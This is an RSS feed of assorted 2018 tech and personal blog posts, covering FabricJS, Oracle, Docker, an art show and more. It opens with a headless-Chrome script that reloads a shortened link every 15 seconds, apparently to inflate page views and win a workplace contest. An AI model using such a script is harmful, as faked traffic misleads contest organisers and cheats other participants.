&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;puppeteer&lt;/span&gt; &lt;span class="nx"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'puppeteer'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Observable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Subscription&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;timer&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'rxjs'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;link&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'http://bit.ly/2N9xokm'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;addPageview&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;browser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;puppeteer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;launch&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="s1"&gt;'--no-sandbox'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="s1"&gt;'--disable-setuid-sandbox'&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;newPage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;goto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`Navigated to &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;intervol&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;15000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;intervolTimer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;timer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;intervol&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;intervolTimerSubscription&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;intervolTimer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addPageview&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are using &lt;a href="https://github.com/GoogleChrome/puppeteer"&gt;puppetter&lt;/a&gt;, a Headless Chrome instance to spin up a new browser for us every time we want to view the page. The &lt;a href="http://reactivex.io/documentation/operators/timer.html"&gt;‘timer’ function&lt;/a&gt; from the &lt;a href="https://github.com/reactivex/rxjs"&gt;Rxjs library&lt;/a&gt; is what is powering our loop. We are then able to add a subscription to the timer that will execute every intervol.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Thu, 11 Oct 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/using-the-timer-observable-function-from-rxjs-with-chrome-headless-to-hack-a-contest-at-work/</guid></item><item><title>Tips on Improving FabricJS Speed</title><link>https://dylanpaulus.com/posts/2018/tips-on-improving-fabricjs-speed/</link><description>&lt;p&gt;&lt;a href="http://fabricjs.com/"&gt;FabricJS&lt;/a&gt; is an awesome library that handles &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API"&gt;Canvas&lt;/a&gt; interactions and rendering. Inherently it is a pretty performant library, but recently we ran into an issue where we needed to render ~8mb of json data (10k objects). Given any framework, it is no easy task to render this much data. The biggest culprit while rendering a lot of objects is renders (or rerenders). When the canvas has to show any change, it renders the &lt;em&gt;entire&lt;/em&gt; canvas. This includes clearing the canvas, looping through each object, and drawing it. In this post I'll go through some of the techniques we used to improve interaction and rendering speed.&lt;/p&gt;
&lt;h4&gt;Cut out the basics&lt;/h4&gt;
&lt;p&gt;FabricJS has a &lt;a href="https://github.com/fabricjs/fabric.js/wiki/Optimizing-performance"&gt;small post about optimizing performance&lt;/a&gt;. All great tips, but the one to look at is setting &lt;code&gt;renderOnAddRemove&lt;/code&gt; to false. Adding this property to the canvas will prevent Fabric from re-rendering if a shape is added or deleted. This gives huge speed improvements on initial loads while adding a lot of shapes to the canvas.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const canvas = new fabric.Canvas("myId", { renderOnAddRemove: false });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Caution:&lt;/em&gt; &lt;code&gt;canvas.renderAll();&lt;/code&gt; will have to be called whenever we want a change to show on the canvas&lt;/p&gt;
&lt;h4&gt;Enliven over loadFromJSON&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;loadFromJSON&lt;/code&gt; is a really helpful function when we want to deserialize JSON to the canvas, but it comes with some draw-backs. First, &lt;code&gt;loadFromJSON&lt;/code&gt; will clear the canvas before it loads the JSON objects. This can be bad if we added shapes to the canvas before loading then JSON. Second, it will call &lt;code&gt;renderAll&lt;/code&gt; once the JSON is finished. This is bad when we have additional operations to perform after our JSON object is loaded (ie. adding more shapes or selecting then).&lt;/p&gt;
&lt;p&gt;Alternatively we can use a function called &lt;code&gt;enlivenObjects&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const canvas = new fabric.Canvas("myId", { renderOnAddRemove: false }););
// enlivenObjects([array of json objects], [callback])
fabric.util.enlivenObjects([{}, {}, {}], (objs) =&amp;gt; {
    objs.forEach((item) =&amp;gt; {
        canvas.add(item);
    });
    canvas.renderAll(); // Make sure to call once we're ready!
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;enlivenObjects&lt;/code&gt; takes in an array of the serialized FabricJS JSON (found in: [json].objects), and returns the Fabric object representation of it. We use a callback to get the parsed objects. This is similar to how &lt;code&gt;loadFromJSON&lt;/code&gt; handles &lt;a href="https://github.com/fabricjs/fabric.js/blob/464708aafccc0d5a4e3a7b6604db2d00ad3bc475/src/mixins/canvas_serialization.mixin.js#L55"&gt;loading behind the scenes&lt;/a&gt;! The bonus here is there are no unneeded renders and canvas clearing. We can control when the canvas gets rendered!&lt;/p&gt;
&lt;h4&gt;Don't Canvas Everything&lt;/h4&gt;
&lt;p&gt;The more shapes on the canvas, the more work Fabric has to do on a render. One way around this is to take out any shapes that don't need to be manipulated or animated. We achieve this by converting those un-interactive layers to an image &lt;code&gt;canvas.toDataURL("png");&lt;/code&gt; and rendering it as an HTML &lt;code&gt;&amp;lt;img /&amp;gt;&lt;/code&gt; tag. Then, overlay the canvas on top of the image; only using the canvas for the interactive bits while showing everything.&lt;/p&gt;</description><author>Dylan Paulus' Blog</author><pubDate>Thu, 11 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://dylanpaulus.com/posts/2018/tips-on-improving-fabricjs-speed/</guid></item><item><title>Generate Oracle SQL Monitoring Reports as HTML using SQL Developer v18.3 (no Flash needed)</title><link>https://tanelpoder.com/posts/oracle-sql-monitoring-html-reports-using-sql-developer-v183/</link><description>&lt;p&gt;The Oracle SQL Developer team has released version 18.3 of this tool. My favorite new feature in this version is its ability to save SQL Monitoring reports in HTML format! Adobe Flash is finally &lt;em&gt;&lt;strong&gt;not&lt;/strong&gt;&lt;/em&gt; needed for sharing graphical SQL Monitoring reports.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s an example output, it looks pretty nice and clean:&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="https://tanelpoder.com/files/images/sqlmon-from-sql-developer-18.3-small.png" /&gt;&lt;/p&gt;
&lt;p&gt;The report is reasonably navigatable, has tooltips (useful for identifying wait classes for example) and you can also rearrange columns by dragging them left or right with your mouse. The developers have helpfully put the &lt;code&gt;ESTIMATED ROWS&lt;/code&gt; and &lt;code&gt;ACTUAL ROWS&lt;/code&gt; columns next to each other for making identifying optimizer cardinality misestimates easier (btw, in the Flash version you can move columns around too but these two are not side by side by default). The navigation and scrolling is much smoother as there&amp;rsquo;s no Flash plugin and iframe/embed in the way.&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Thu, 11 Oct 2018 00:00:52 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/posts/oracle-sql-monitoring-html-reports-using-sql-developer-v183/</guid></item><item><title>Getting rid of hiccups</title><link>https://jasonraimondi.com/posts/getting-rid-of-hiccups/</link><description>&lt;p&gt;I found this the other day when I had the hiccups a few different days in a row. Posting it here because it worked amazing and I do not ever want to forget this technique.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://old.reddit.com/r/lifehacks/comments/133arz/the_100_guaranteed_way_to_get_rid_of_hiccups/"&gt;The 100% Guaranteed way to get rid of hiccups. Instantly. Every time.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Today I share with you his ancient secret.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fill your lungs with your mouth. Very important you use the mouth.&lt;/li&gt;
&lt;li&gt;Swallow TWICE in a row. If you have difficulty doing this generate saliva in your mouth, it&amp;rsquo;ll help you get the second swallow easier.&lt;/li&gt;
&lt;li&gt;Exhale SLOWLY through your nostrils.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hiccups are your diaphragm spasming out of your normal inhale-exhale cycle. It can usually be fixed within a few breathes by mindfully focusing on my breathing and taking slower, fuller, deeper breathes to force your diaphragm back into sync.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Wed, 10 Oct 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/getting-rid-of-hiccups/</guid></item><item><title>Optimizing your Dockerfile build layers</title><link>https://jasonraimondi.com/posts/optimizing-your-dockerfile-build-and-layers/</link><description>&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Unable to find image &lt;span class="s1"&gt;'nginx:latest'&lt;/span&gt; locally
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;latest: Pulling from library/nginx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;802b00ed6f79: Downloading &lt;span class="o"&gt;[================================================&lt;/span&gt;&amp;gt;  &lt;span class="o"&gt;]&lt;/span&gt;  21.63MB/22.49MB
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5291925314b3: Download &lt;span class="nb"&gt;complete&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bd9f53b2c2de: Download &lt;span class="nb"&gt;complete&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The number of layers a container is using is related to the number of RUN and COPY/ADD commands that were used in the Dockerfile during that containers build.&lt;/p&gt;
&lt;p&gt;Too many layers and your machines take a large amount of storage and can take a long time to download and extract.  Too few layers and the machine takes F  O  R  E  V  E  R to rebuild.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Wed, 10 Oct 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/optimizing-your-dockerfile-build-and-layers/</guid></item><item><title>Inconvenient Truth, 2018 version</title><link>https://stop.zona-m.net/2018/10/inconvenient-truth-2018-version/</link><description>&lt;p&gt;Combine headlines about the economy with those about climate change, and something uncomfortable emerges.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 10 Oct 2018 06:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/10/inconvenient-truth-2018-version/</guid></item><item><title>Show at NUPOC</title><link>https://johnj.com/posts/nupoc/</link><description>&lt;p&gt;





&lt;a href="https://johnj.com/nupoc-card.png"&gt;&lt;img class="resize" src="https://johnj.com/nupoc-card_hu_1c674a411a0403d5.png" style="width: 700px; border: 0px solid black;" /&gt;&lt;/a&gt;

&lt;/p&gt;
&lt;p&gt;
I am pleased to announce:&lt;/p&gt;

&lt;h2 style="font-size: 2em; font-family: 'Titillium Web', sans-serif; font-style: Italic;"&gt;Of the Flesh but not the World...&lt;/h2&gt;
&lt;p&gt;
A show of nine works in a small gallery space at the Feinberg
School of Medicine at the &lt;a href="https://www.nupoc.northwestern.edu/"&gt;Northwestern University
Prosthetics-Orthotics Center&lt;/a&gt; (NUPOC).&lt;/p&gt;
&lt;p&gt;
The works include four paintings made from life at NUPOC over the
course of the last few months. There are also paintings and drawings
done from life at the &lt;a href="https://paletteandchisel.org/"&gt;Palette and Chisel Academy of Fine Art&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;





&lt;a href="https://johnj.com/DSCN3455sm.jpg"&gt;&lt;img class="resize" src="https://johnj.com/DSCN3455sm_hu_6470429765726216.jpg" style="width: 400px; border: 0px solid black;" /&gt;&lt;/a&gt;


&lt;figcaption&gt;
Plagiocephaly Helmet Casts, oil on panel, 12" x 9"
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;div class="outline-3" id="outline-container-headline-1"&gt;
&lt;h3 id="headline-1"&gt;
Location and Hours
&lt;/h3&gt;
&lt;div class="outline-text-3" id="outline-text-headline-1"&gt;
&lt;p&gt;
Feinberg School of Medicine&lt;br /&gt;
Northwestern University Prosthetics-Orthotics Center (NUPOC)&lt;br /&gt;
680 North Lake Shore Drive, Suite 1100&lt;br /&gt;
Chicago, IL 60611&lt;br /&gt;
312-503-5700&lt;/p&gt;
&lt;p&gt;
Dates: &lt;strong&gt;November 2 through the end of 2018.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;
Hours: &lt;strong&gt;Monday-Friday, 9 AM - 4:30 PM&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;
A quick Google will show a number of parking options nearby. The
building is about four blocks from Navy Pier; the closest El stop is
Chicago Ave., on the Red Line.&lt;/p&gt;
&lt;figure&gt;





&lt;a href="https://johnj.com/johnportrait.jpg"&gt;&lt;img class="resize" src="https://johnj.com/johnportrait_hu_a174d49d3c3b1e43.jpg" style="width: 400px; border: 0px solid black;" /&gt;&lt;/a&gt;


&lt;figcaption&gt;
Portrait of J., oil on panel, 11.5" x5.5"
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-3" id="outline-container-headline-2"&gt;
&lt;h3 id="headline-2"&gt;
Artist's Statement
&lt;/h3&gt;
&lt;div class="outline-text-3" id="outline-text-headline-2"&gt;
&lt;blockquote&gt;
&lt;p&gt;"&lt;strong&gt;Of the flesh but not the world?&lt;/strong&gt; How peculiar. How can that be? It
sounds like maths, only more practical somehow."
– Thomas Pynchon, &lt;em&gt;Against the Day&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;
For the past six months I have had the privilege of painting from life
roughly once per week at the &lt;a href="https://www.nupoc.northwestern.edu/"&gt;Northwestern University
Prosthetics-Orthotics Center&lt;/a&gt; (NUPOC).  NUPOC carries out research and
training in the design, manufacture, and application of orthotic and
prosthetic devices.  Aside from representing a fascinating synthesis
of engineering and medicine, it is a visually rich environment
hosting hundreds of artifacts, all of which relate in some way to
the human form.&lt;/p&gt;
&lt;p&gt;
These artifacts appeal to both the engineer and the artist in me.  The
anatomical models, common in both medical schools and art studios, are
not only helpful objects of study (a figurative artist ought to know
how the body is put together), but beautiful objects of contemplation
in their own right.  In addition, NUPOC's collection of historical and
current prostheses and orthoses, ranging from the crude to the
intricate, is visually fascinating… any of these objects could
be the cornerstone of a striking still life painting.&lt;/p&gt;
&lt;p&gt;
In addition to the four paintings done at NUPOC, there are figurative
paintings and drawings based on live models. They represent a subset
of many studies carried out over the past few years at the &lt;a href="https://paletteandchisel.org/"&gt;Palette and
Chisel Academy of Fine Arts&lt;/a&gt;, a century-old Chicago institution where
one can find people drawing and painting from life nearly every day of
the year.  Working from life and studying anatomy are centuries-old
strategies for turning paint into convincing illusions - to create
bodies that are "of the flesh, but not the world."&lt;/p&gt;
&lt;p&gt;
From the standpoint of engineering, I find the devices at NUPOC
intriguing for their mix of high- and low-tech.  3D printers and
advanced polymers contrast with mechanical joints, hooks, levers and
cables.  Automated mass-production of some components exists in
conjunction with highly customized fittings of others, to adapt to
every individual's unique morphology and requirements.  High-tech is
not necessarily better tech: advanced prostheses with multiple digits
controlled by nerve induction may be less appropriate than a more
straightforward, affordable device that can be maintained by its
wearer "in the field."&lt;/p&gt;
&lt;p&gt;
More generally, the artifacts represent a literal meeting of the human
organism, with its animal origins, and the engineered world.  Limbs
lost, or never present, can be augmented in capability, at
times far past their "baseline" functionality.  What could be more
human than to build devices to mold or extend the function of our bodies
challenged by trauma, age, genetics, or other vicissitudes?  What are
the limits of our flesh, assisted or no?  These are interesting
questions for a figurative artist to ponder.&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;Many thanks to the staff at NUPOC for their assistance and hospitality.&lt;/em&gt;&lt;/p&gt;
&lt;figure&gt;





&lt;a href="https://johnj.com/DSCN3473.jpg"&gt;&lt;img class="resize" src="https://johnj.com/DSCN3473_hu_549aa9f5dc96ac19.jpg" style="width: 150px; border: 0px solid black;" /&gt;&lt;/a&gt;


&lt;figcaption&gt;
NUPOC Leg Model ("Legcorché"), oil on linen, 7"x28"
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;





&lt;a href="https://johnj.com/JacobsenGift-RJG_0183.jpg"&gt;&lt;img class="resize" src="https://johnj.com/JacobsenGift-RJG_0183_hu_a7251931fc1725c8.jpg" style="width: 600px; border: 0px solid black;" /&gt;&lt;/a&gt;


&lt;figcaption&gt;
Gift to NUPOC with RJ Garrick
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-3" id="outline-container-headline-3"&gt;
&lt;h3 id="headline-3"&gt;
For news and updates
&lt;/h3&gt;
&lt;div class="outline-text-3" id="outline-text-headline-3"&gt;
&lt;p&gt;
Say hi &lt;a href="https://johnj.com/contact"&gt;on email&lt;/a&gt;, or check me &lt;a href="https://www.instagram.com/eigenhombre/"&gt;on Instagram&lt;/a&gt; (&lt;code class="verbatim"&gt;eigenhombre&lt;/code&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>John Jacobsen</author><pubDate>Wed, 10 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://johnj.com/posts/nupoc/</guid></item><item><title>Valley of Genius: The Uncensored History of Silicon Valley (As Told by the Hackers, Founders, and Freaks Who Made It Boom)</title><link>https://olshansky.info/book/valley_of_genius/</link><description>Olshansky's review of Valley of Genius: The Uncensored History of Silicon Valley (As Told by the Hackers, Founders, and Freaks Who Made It Boom) by Adam Fisher</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 10 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/valley_of_genius/</guid></item><item><title>Self-sufficient virtual organizations, and how to build them up</title><link>https://zefram.xyz/2018/10/self-sufficient-virtual-organizations.html</link><description>&lt;p&gt;I believe one of the most, if not the most, important applications of blockchain and smart contact technology will be the establishment of self-sufficient organizations that are completely virtual:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;They will use virtual currencies like Ether and ERC-20 tokens to handle all transfers &amp;amp; storage of value.&lt;/li&gt;
&lt;li&gt;Their collaboration &amp;amp; making of crucial decisions will be handled by smart contacts.&lt;/li&gt;
&lt;li&gt;Their members will consist of pseudo-anonymous individuals from around the world who collaborate mostly remotely.&lt;/li&gt;
&lt;li&gt;They will produce products that are purely digital in nature, and use the profits to cover their operational expenses, as well as provide their members with a non-negligible salary so that they may work for the organization on a part/full-time basis.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The main challenge of accomplishing such a feat is this: &lt;em&gt;how may we replicate the highly complex, fuzzy, and subjective business logic needed for most organizations using immutable, simple, strict, and objective smart contacts?&lt;/em&gt;&lt;/p&gt;</description><author>Zefram's Blog</author><pubDate>Tue, 09 Oct 2018 06:50:00 GMT</pubDate><guid isPermaLink="true">https://zefram.xyz/2018/10/self-sufficient-virtual-organizations.html</guid></item><item><title>Those little links between Climate Change, income and digital buzzwords</title><link>https://stop.zona-m.net/2018/10/those-little-links-between-climate-change-income-and-digital-buzzwords/</link><description>&lt;p&gt;A report issued yesterday about climate change &amp;ldquo;paints a far more dire picture of its immediate consequences than previously thought&amp;rdquo;. It also contains, between the lines, some links and implications that I have not seen in mainstream media yet.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 09 Oct 2018 06:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/10/those-little-links-between-climate-change-income-and-digital-buzzwords/</guid></item><item><title>San Francisco Walks</title><link>https://faingezicht.com/photos/2018/10/09/sf-walks/</link><description>This set of photos is a mixed bag. Some of them have been sitting in my archive for almost a year, and some I took just a couple of weeks ago. They're also a mixed bag in terms of quality, but editing is not my strong suit - I have a really hard time cutting.</description><author>Avy Faingezicht</author><pubDate>Tue, 09 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/10/09/sf-walks/</guid></item><item><title>Induction and Side-Effects</title><link>https://lambdaland.org/posts/2018-10-08-induction-and-side-effects/</link><description>&lt;p&gt;Today in my proofs class (MATH 290 at BYU) we talked about the concept &lt;a href="https://en.wikipedia.org/wiki/Mathematical_induction"&gt;induction&lt;/a&gt;. I like this, because it sounds a lot like recursion.&lt;/p&gt;
&lt;p&gt;On the Wikipedia article, there&amp;rsquo;s an excerpt from a book that illustrates the principle with an analogy using a ladder:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Mathematical induction proves that we can climb as high as we like on a ladder, by proving that we can climb onto the bottom rung (the basis) and that from each rung we can climb up to the next one (the step).
— &lt;em&gt;&lt;a href="https://en.wikipedia.org/wiki/Concrete_Mathematics"&gt;Concrete Mathematics&lt;/a&gt;&lt;/em&gt;, page 3 margins&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;The problem with this, however, is that climbing a ladder has side-effects! Namely, when you climb up a step, you get tired. Eventually, there comes a point where you get so tired that you collapse from exhaustion, fall off the ladder and smack into the hard, uncaring ground of reality below.&lt;/p&gt;
&lt;p&gt;This will happen to you too if your recursive functions have side effects: you code will be &lt;em&gt;really&lt;/em&gt; hard to debug, and eventually, a bug somewhere in the state of your system will deftly shove your process off the call stack to crash on the cold, hard, uncaring silicon below.&lt;/p&gt;
&lt;p&gt;Photo by Robin Joshua on Unsplash&lt;/p&gt;</description><author>Ashton Wiersdorf on Lambda Land</author><pubDate>Mon, 08 Oct 2018 21:23:28 GMT</pubDate><guid isPermaLink="true">https://lambdaland.org/posts/2018-10-08-induction-and-side-effects/</guid></item><item><title>Log file switch (checkpoint incomplete) wait events and LGWR waiting for checkpoint progress</title><link>https://tanelpoder.com/posts/log-file-switch-checkpoint-incomplete-and-lgwr-waiting-for-checkpoint-progress/</link><description>&lt;p&gt;I was recently involved in troubleshooting an interesting performance issue with some non-intuitive background process &amp;amp; wait event behavior. I reproduced the problem in my own custom-tailored environment (Oracle 18.3 on Linux), here&amp;rsquo;s the starting point:&lt;/p&gt;
&lt;p&gt;&lt;img alt="oem-activity-concurrency-wait-event" src="https://tanelpoder.com/files/images/concurrency-wait-event.png" /&gt;&lt;/p&gt;
&lt;p&gt;After starting a transaction-heavy benchmark, soon after the transaction rate drops and the database sessions are mostly waiting for some &lt;strong&gt;&lt;em&gt;Configuration&lt;/em&gt;&lt;/strong&gt; wait class events, instead of getting work done.&lt;/p&gt;
&lt;p&gt;Just looking into the high level wait class names is not enough, so let&amp;rsquo;s drill down with &lt;strong&gt;ashtop.sql&lt;/strong&gt; to see more:&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Mon, 08 Oct 2018 07:00:08 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/posts/log-file-switch-checkpoint-incomplete-and-lgwr-waiting-for-checkpoint-progress/</guid></item><item><title>Set Phasers to Blind</title><link>https://taylor.town/set-phasers-to-blind</link><description>&lt;p&gt;It's crazy that there's a Wikipedia Page entitled
&lt;em&gt;&lt;a href="https://en.wikipedia.org/wiki/Protocol_on_Blinding_Laser_Weapons"&gt;Protocol on Blinding Laser Weapons&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Why is it so crazy? Because
&lt;a href="https://en.wikipedia.org/wiki/List_of_parties_to_the_Convention_on_Certain_Conventional_Weapons"&gt;most of the world&lt;/a&gt;
believes it's better to be dead than blind.&lt;/p&gt;
&lt;h2 id="protecting-civilians"&gt;Protecting Civilians&lt;/h2&gt;
&lt;p&gt;Okay, well, maybe it's not so crazy.&lt;/p&gt;
